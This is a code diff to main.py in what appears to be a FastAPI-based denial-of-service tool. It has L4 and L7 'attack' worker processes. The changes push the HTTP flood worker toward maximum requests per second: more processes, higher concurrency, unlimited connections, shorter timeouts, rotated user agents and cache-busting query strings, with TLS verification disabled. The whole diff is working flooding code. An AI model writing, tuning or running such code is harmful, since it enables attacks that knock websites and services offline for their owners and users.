Update main.py

main.py

@@ -35,23 +35,23 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# BALANCED configuration for sustained performance
-# Sweet spot: fewer workers that actually work vs many workers that block each other
+# OPTIMIZED configuration for maximum sustained RPS
+# Balance: enough workers to saturate bandwidth, not so many they block each other
 if CPU_COUNT >= 32:
-    # High-core systems (32-64+ cores) - REDUCED for efficiency
-    MAX_PROCESSES = min(CPU_COUNT, 128)  # Max 128 processes
-    MAX_CONCURRENCY_PER_PROCESS = 128  # Lower concurrency
+    # High-core systems (32-64+ cores)
+    MAX_PROCESSES = CPU_COUNT * 2  # 128 processes for 64 cores
+    MAX_CONCURRENCY_PER_PROCESS = 256  # Higher concurrency
 elif CPU_COUNT >= 16:
-    MAX_PROCESSES = CPU_COUNT * 2
-    MAX_CONCURRENCY_PER_PROCESS = 256
+    MAX_PROCESSES = CPU_COUNT * 3
+    MAX_CONCURRENCY_PER_PROCESS = 384
 elif CPU_COUNT >= 8:
-    MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
-    MAX_CONCURRENCY_PER_PROCESS = 512
+    MAX_PROCESSES = CPU_COUNT * 6  # 48 processes for 8 cores
+    MAX_CONCURRENCY_PER_PROCESS = 768
 else:
     MAX_PROCESSES = CPU_COUNT * 4
-    MAX_CONCURRENCY_PER_PROCESS = 256
+    MAX_CONCURRENCY_PER_PROCESS = 512
 
-STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for accurate real-time counting
+STATS_BATCH_UPDATE_SIZE = 250  # Larger batches = less lock contention
 TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
@@ -246,46 +246,48 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """High-performance L7 worker optimized for maximum sustained RPS."""
+    """Ultra-optimized L7 worker for maximum sustained RPS."""
     ssl_context = ssl.create_default_context()
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # Optimized connector with realistic limits
+    # High-performance connector settings
     connector = aiohttp.TCPConnector(
-        limit=concurrency,  # Match concurrency
-        limit_per_host=concurrency,
+        limit=0,  # Unlimited - let OS handle it
+        limit_per_host=0,
         ttl_dns_cache=300,
         force_close=False,
         enable_cleanup_closed=False,
         keepalive_timeout=120
     )
     
-    # Fast timeouts
-    timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
+    # Aggressive timeouts
+    timeout = aiohttp.ClientTimeout(total=2, connect=1, sock_read=1)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker(worker_id):
-            """Sends requests in tight loop."""
+            """Tight request loop."""
             local_counter = 0
+            cache_base = f"?w{worker_id}="
             
             while not stop_event.is_set():
                 try:
-                    # Minimal overhead request
+                    # Ultra-minimal request
                     async with session.get(
-                        f"{url}?{worker_id}{random.randint(1, 9999)}", 
-                        headers=get_random_headers(),
+                        f"{url}{cache_base}{local_counter}", 
+                        headers={
+                            "User-Agent": random.choice(USER_AGENTS),
+                            "Connection": "keep-alive"
+                        },
                         allow_redirects=False,
                         timeout=timeout
                     ) as resp:
-                        # Just get status, don't read body
                         _ = resp.status
                         local_counter += 1
                 except:
-                    # Errors don't slow us down
                     pass
                 
-                # Update counter in batches
+                # Less frequent counter updates for speed
                 if local_counter >= STATS_BATCH_UPDATE_SIZE:
                     with shared_counter.get_lock():
                         shared_counter.value += local_counter
@@ -296,7 +298,7 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
         
-        # Launch tasks
+        # Launch all tasks
         tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
         await asyncio.gather(*tasks, return_exceptions=True)